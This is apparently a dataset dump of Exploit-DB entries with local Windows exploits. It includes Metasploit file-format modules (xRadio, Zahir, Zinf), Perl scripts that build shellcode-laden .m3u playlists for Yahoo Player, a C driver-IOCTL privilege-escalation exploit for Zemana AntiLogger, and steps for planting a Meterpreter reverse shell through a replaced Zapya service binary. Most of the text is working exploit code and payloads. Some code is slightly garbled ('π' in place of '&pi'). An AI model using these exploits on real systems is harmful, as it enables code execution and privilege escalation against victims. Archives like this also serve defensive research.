deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18760
Description: xRadio 0.95b - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-04-20
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'xRadio 0.95b Buffer Overflow',
			'Description'     => %q{
				This module exploits a buffer overflow in xRadio 0.95b.
				Using the application to import a specially crafted xrl file,
				a buffer overflow occurs allowing arbitrary code execution.
			},
			'License'         => MSF_LICENSE,
			'Author'          =>
				[
					'b0telh0 <me[at]gotgeek.com.br>',
				],
			'References'      =>
				[
					[ 'BID', '46290' ],
					[ 'EDB', '16141' ]
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true'
				},
			'Platform'        => 'win',
			'Payload'         =>
				{
					'Space' => 1000,
					'BadChars' => "\x00\x0a\x0d",
					'StackAdjustment' => -3500
				},
			'Targets'         =>
				[
					[ 'Windows Universal',
						{
							# pop eax - pop ebx - ret xradio.exe
							'Ret' => 0x0047E282
						}
					],
				],
			'Privileged'      => false,
			'DisclosureDate'  => 'Feb 08 2011',
			'DefaultTarget'   => 0))

		register_options(
			[
				OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])
			], self.class)

	end

	def exploit
		eggoptions =
		{
			:checksum => true,
			:eggtag => 'w00t'
		}

		hunter,egg = generate_egghunter(payload.encoded, eggoptions)

		buffer =  rand_text_alpha_upper(4066-egg.length)
		buffer << egg
		buffer << make_nops(10)
		buffer << hunter
		buffer << "\xeb\xd8\xff\xff"      # nseh  jmp back 40 bytes
		buffer << [target.ret].pack('V')  # seh

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(buffer)
	end

end
Exploit-DB #11647
Description: Yahoo Player 1.0 - '.m3u' / '.pls' / '.ypl' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-03-07
Author: Mr.tro0oqy

Exploit:
#!/usr/bin/perl
print qq (
################################################################
#Yahoo Player 1.0 (.m3u/.pls/.ypl) Local Buffer Overflow Exploit (SEH)
#by Mr.tro0oqy from yemen
#geertz: Red-D3v1L , his0k4 ,Stack
################################################################
);
my $bof="\x41" x 2076;
my $nsh="\xEB\x06\x90\x90"; #Short jmp
my $seh="\x5D\x38\x82\x7C"; #KERNEL32.DLL
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> tro0oqy.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################
Exploit-DB #11713
Description: Yahoo Player 1.0 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-03-13
Author: Bombard

Exploit:
# Title: Yahoo Player v1.0 (.m3u) Buffer Overflow Exploit (direct EIP overwrite)
# Date: 2010-03-07
# Author: Bombard(Mr. tro0oqy originally discovered it, and gave a SEH)
#Version:1.0
#Tested on: Windows XP SP2
#CVE:()

my $file="crash.m3u";
my $junkA="A"x2080;
my $eip=pack('V',0x7c80ae31); #eip
my $junkC="C"x12; #align
my $nops="\x90"x60; #nops
my $shellcode="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x31\x4b\x38".
"\x4f\x45\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x38".
"\x4f\x55\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x34".
"\x4b\x58\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x48\x4e\x31\x4b\x38".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x53\x45\x58\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x58\x42\x54\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x33".
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x55\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56".
"\x4e\x36\x43\x36\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x50\x5a";

my $junkD="D"x1000;

open($FILE, ">$file");
print $FILE $junkA.$junkB.$junkC.$nops.$shellcode.$nops.$junkD;
close($FILE);
print "m3u File Created successfully\n";
Exploit-DB #17735
Description: Yahoo! player 1.5 - '.m3u' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2011-08-28
Author: D3r K0n!G

Exploit:
#!/usr/bin/perl
# Exploit Title: yahoo! player 1.5  (.m3u) Universal Buffer Overflow (SEH)
# Date: 27/08/2011
# Author: D3r K0n!G
# Software Link: http://www.clubic.com/lancer-le-telechargement-8059-0-yahoo-player.html
# Version: 1.5.01.409
# Tested on: Windows XP SP3
# CVE : N/A
# Greets to: All my frends (DZ) & all members of www.se4ever.com & www.h4kz.net

my $file = "yahoo.m3u";
my $junk = "\x41" x 2049;
my $nexseh = "\xeb\x10\x90\x90";		# Short jump
my $seh = pack ('V',0x300117f7);		# POP POP RET  => DUNZIP32.dll
my $junk2 = "\x90" x 12;
#windows/exec EXITFUNC=seh CMD=calc.exe R | msfencode -e x86/alpha_upper -t c 
$shellcode =
"\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43".
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34".
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41".
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58".
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30".
"\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52".
"\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b".
"\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50".
"\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c".
"\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54".
"\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b".
"\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c".
"\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31".
"\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47".
"\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54".
"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e".
"\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30".
"\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51".
"\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51".
"\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45".
"\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50".
"\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56".
"\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a".
"\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c".
"\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38".
"\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b".
"\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d".
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d".
"\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53".
"\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43".
"\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35".
"\x45\x50\x41\x41";
open($File, ">$file");
print $File $junk.$nexseh.$seh.$junk2.$shellcode;
close($FILE);
Exploit-DB #38672
Description: YardRadius - Multiple Local Format String Vulnerabilities
Type: local
Platform: windows
Date: 2013-06-30
Author: Hamid Zamani

Exploit:
source: https://www.securityfocus.com/bid/61356/info

YardRadius is prone to multiple local format-string vulnerabilities.

Local attackers can leverage these issues to cause denial-of-service conditions. Due to nature of these issues, arbitrary code-execution within the context of the vulnerable application may also be possible.

YardRadius 1.1.2-4 is vulnerable; other versions may also be possible.

The following proof-of-concept is available:

ln -s radiusd %x

./%x -v
Exploit-DB #45560
Description: Zahir Enterprise Plus 6 - Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2018-10-08
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zahir Enterprise Plus 6 Stack Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.
       The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters
       via Import from other File. This results in overwriting a structured exception handler record.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'f3ci',       # initial discovery
          'modpr0be'    # poc and Metasploit Module
        ],
      'References'      =>
        [
          [ 'CVE', '2018-17408' ],
          [ 'EDB', '45505' ]
        ],
      'Platform'        => 'win',
      'Targets'         =>
        [
          ['Zahir Enterprise Plus 6 <= build 10b',
            {
              #P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)
              'Ret'     => 0x52016661,
              'Offset'  => 3041
            }
          ]
        ],
      'Payload'         =>
        {
          'Space'       => 5000,
          'BadChars'    => "\x00\x0a\x0d\x22\x2c",
          'DisableNops'     => true
        },
      'DisclosureDate'  => 'Sep 28 2018',
      'DefaultTarget'   => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])
    ])
  end

  def exploit
    buf = rand_text_alpha_upper(target['Offset'])
    buf << "\r\n"   # crash chars
    buf << rand_text_alpha_upper(380) # extra chars to hit the offset
    buf << generate_seh_record(target.ret)
    buf << payload.encoded

    file_create(buf)
  end
end
Exploit-DB #40365
Description: Zapya Desktop 1.803 - 'ZapyaService.exe' Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-13
Author: Arash Khazaei

Exploit:
# Exploit Title: Zapya Desktop Version ('ZapyaService.exe') Privilege Escalation  
# Date: 2016/9/12
# Exploit Author: Arash Khazaei
# Vendor Homepage: http://www.izapya.com/
# Software Link: http://binaries.izapya.com/Izapya/Windows_PC/ZapyaSetup_1803_en.exe
# Version: 1.803 (Latest)
# Tested on: Windows 7 Professional X86 - Windows 10 Pro X64
# CVE : N/A

======================
# Description :
# Zapya is a 100% free tool for sharing files across devices like Android, iPhone, iPad, Window’s Phone, PC, and Mac computers in an instant. 
# It’s Easy to use and supports multiple languages. We are already a community of 300 million strong users and growing rapidly.
# When You Install Zapya Desktop , Zapya Will Install A Service Named ZapyaService.exe And It's Placed In Zapya Installation Directory .
# If We Replace The ZapyaService.exe File With A Malicious Executable File It Will Execute As NT/SYSTEM User Privilege.
======================

# Proof Of Concept :
# 1- Install Zapya Desktop . 
# 2- Generate A Meterpreter Executable Payload .
# 3- Stop Service And Replace It With ZapyaService.exe With Exact Name.
# 4- Listen Handler For Connection And Start Service Again or Open Zapya Desktop , Application Will Attempt To Start Service 
# 5- After Starting Service We Have Reverse Meterpreter Shell With NT/SYSTEM Privilege.

==================
# Discovered By Arash Khazaei
==================
Exploit-DB #14491
Description: Zemana AntiLogger 'AntiLog32.sys' 1.5.2.755 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2010-07-28
Author: th_decoder

Exploit:
Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability

VULNERABLE PRODUCTS 
Zemana AntiLogger <=1.9.2.2.206

DETAILS:
AntiLog32.sys create a device called \Device\AntiLog32 , and handles DeviceIoControl request IoControlCode = 0x8000201C , which  can elevate the privilege of a process to another process

EXPLOIT CODE:

#include "stdafx.h"
#include "windows.h"
#include "winioctl.h"
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)

typedef struct _IMPERSONATE_PROCESS{
	HANDLE ImpersonateProcess ; 
	HANDLE SystemProcess ; 
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;

int main(int argc, char* argv[])
{
	printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755\n"
		"Local Privilege Escalation Vulnerability Proof-of-Concept\n"
		"2010-7-28\n"
		"By MJ0011 th_decoder@126.com\n\nPress Enter\n");
	getchar();
	
	//bypass some useless create check 

	PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
	PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew);
	PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;
	
	ULONG oldp ; 

	VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp);
	pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ; 
	VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp);


	HANDLE hdev = CreateFile("\\\\.\\AntiLog32" , 
		FILE_READ_ATTRIBUTES , 
		FILE_SHARE_READ , 
		0,
		OPEN_EXISTING , 
		0,0);

	if (hdev == INVALID_HANDLE_VALUE)
	{
		printf("cannot open device %u\n" , GetLastError());
		getchar();
		return 0; 

	}

	STARTUPINFOA sia ; 
	memset(&sia , 0 , sizeof(sia));
	sia.cb = sizeof(sia);
	PROCESS_INFORMATION pi ; 
	memset(π , 0 , sizeof(pi));

	

	if (!CreateProcess("c:\\windows\\system32\\cmd.exe" , 
		NULL , 
		NULL,
		NULL,
		FALSE , 
		CREATE_SUSPENDED,
		NULL,
		NULL,
		&sia , 
		π))
	{
		printf("cannot run cmd.exe....%u\n", GetLastError());
		getchar();
		return 0 ; 
	}

	
	IMPERSONATE_PROCESS ip ; 
	ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ; 
	ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
	ULONG btr ; 

	if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0))
	{
		printf("cannot impersonate process %u\n" , GetLastError());
		getchar();
		return 0 ; 
	}

	ResumeThread(pi.hThread);

	printf("OK\n");

	
	return 0;
}

================================




th_decoder
2010-07-28
Exploit-DB #47506
Description: Zilab Remote Console Server 3.2.9 - 'zrcs' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-10-16
Author: cakes

Exploit:
# Exploit Title : Zilab Remote Console Server 3.2.9 - 'zrcs' Unquoted Service Path
# Date : 2019-10-15
# Exploit Author : Cakes
# Vendor: Zilab Software Inc
# Version : Zilab Remote Console Server 3.2.9
# Software: http://html.tucows.com/preview/340137/Zilab-Remote-Console-Server?q=remote+support
# Tested on Windows 10
# CVE : N/A 


C:\Users\Administrator>sc qc zrcs
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: zrcs
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\Zilab\ZRCS\ZRCS.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Zilab Remote Console Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #51151
Description: Zillya Total Security 3.0.2367.0  - Local Privilege Escalation
Type: local
Platform: windows
Date: 2023-03-30
Author: M. Akil Gündoğan

Exploit:
# Exploit Title: Zillya Total Security 3.0.2367.0  - Local Privilege Escalation
# Date: 02.12.2022
# Author: M. Akil Gündoğan 
# Contact: https://twitter.com/akilgundogan
# Vendor Homepage: https://zillya.com/
# Software Link: (https://download.zillya.com/ZTS3.exe) / (https://download.zillya.com/ZIS3.exe)
# Version: IS (3.0.2367.0) / TS (3.0.2368.0)
# Tested on: Windows 10 Professional x64
# PoC Video: https://youtu.be/vRCZR1kd89Q

Vulnerabiliy Description: 
---------------------------------------
Zillya's processes run in SYSTEM privileges. The user with low privileges in the system can copy any file they want 
to any location by using the quarantine module in Zillya. This is an example of AVGater vulnerabilities that are often 
found in antivirus programs. 

You can read the article about AVGater vulnerabilities here: 
https://bogner.sh/2017/11/avgater-getting-local-admin-by-abusing-the-anti-virus-quarantine/

The vulnerability affects both "Zillya Total Security" and "Zillya Internet Security" products.

Step by step produce:
---------------------------------------
1 - Attackers create new folder and into malicious file. It can be a DLL or any file. 

2 - Attacker waits for "Zillya Total Security" or "Zillya Internet Security" to quarantine him.

3 - The created folder is linked with the Google Symbolic Link Tools "Create Mount Point" tools to the folder that 
the current user does not have write permission to. 

You can find these tools here: https://github.com/googleprojectzero/symboliclink-testing-tools 

4 - Restores the quarantined file. When checked, it is seen that the file has been moved to an unauthorized location. 
This is evidence of escalation vulnerability. An attacker with an unauthorized user can write to directories that require 
authorization. Using techniques such as DLL hijacking, it can gain access to SYSTEM privileges.

Advisories:
---------------------------------------
Developers should not allow unauthorized users to restore from quarantine unless necessary. 

Also, it should be checked whether the target file has been copied to the original location. Unless necessary, users 
should not be able to interfere with processes running with SYSTEM privileges. All processes on the user's side should 
be run with normal privileges.

Disclosure Timeline:
---------------------------------------
13.11.2022 - Vulnerability reported via email but no response was given and the fix was not released.
02.12.2022 - Full disclosure.
Exploit-DB #16688
Description: Zinf Audio Player 2.2.1 - '.pls' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: zinfaudioplayer221_pls.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.
				An attacker must send the file to victim and the victim must open the file.
				Alternatively it may be possible to execute code remotely via an embedded
				PLS file within a browser, when the PLS extention is registered to Zinf.
				This functionality has not been tested in this module.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2004-0964' ],
					[ 'OSVDB', '10416' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/7888' ],
					[ 'BID', '11248' ],
				],
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# Tested by patrick - 20090429 xpsp3
					[ 'Zinf Universal 2.2.1', { 'Ret' => 0x1204f514 } ], #pop esi; pop ebx; ret - ./Plugins/zinf.ui
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 24 2004',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'exploit_zinf.pls']),
			], self.class)

	end

	def exploit
		seh = generate_seh_payload(target.ret)
		filepls = rand_text_alpha_upper(1424) + seh

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(filepls)

	end

end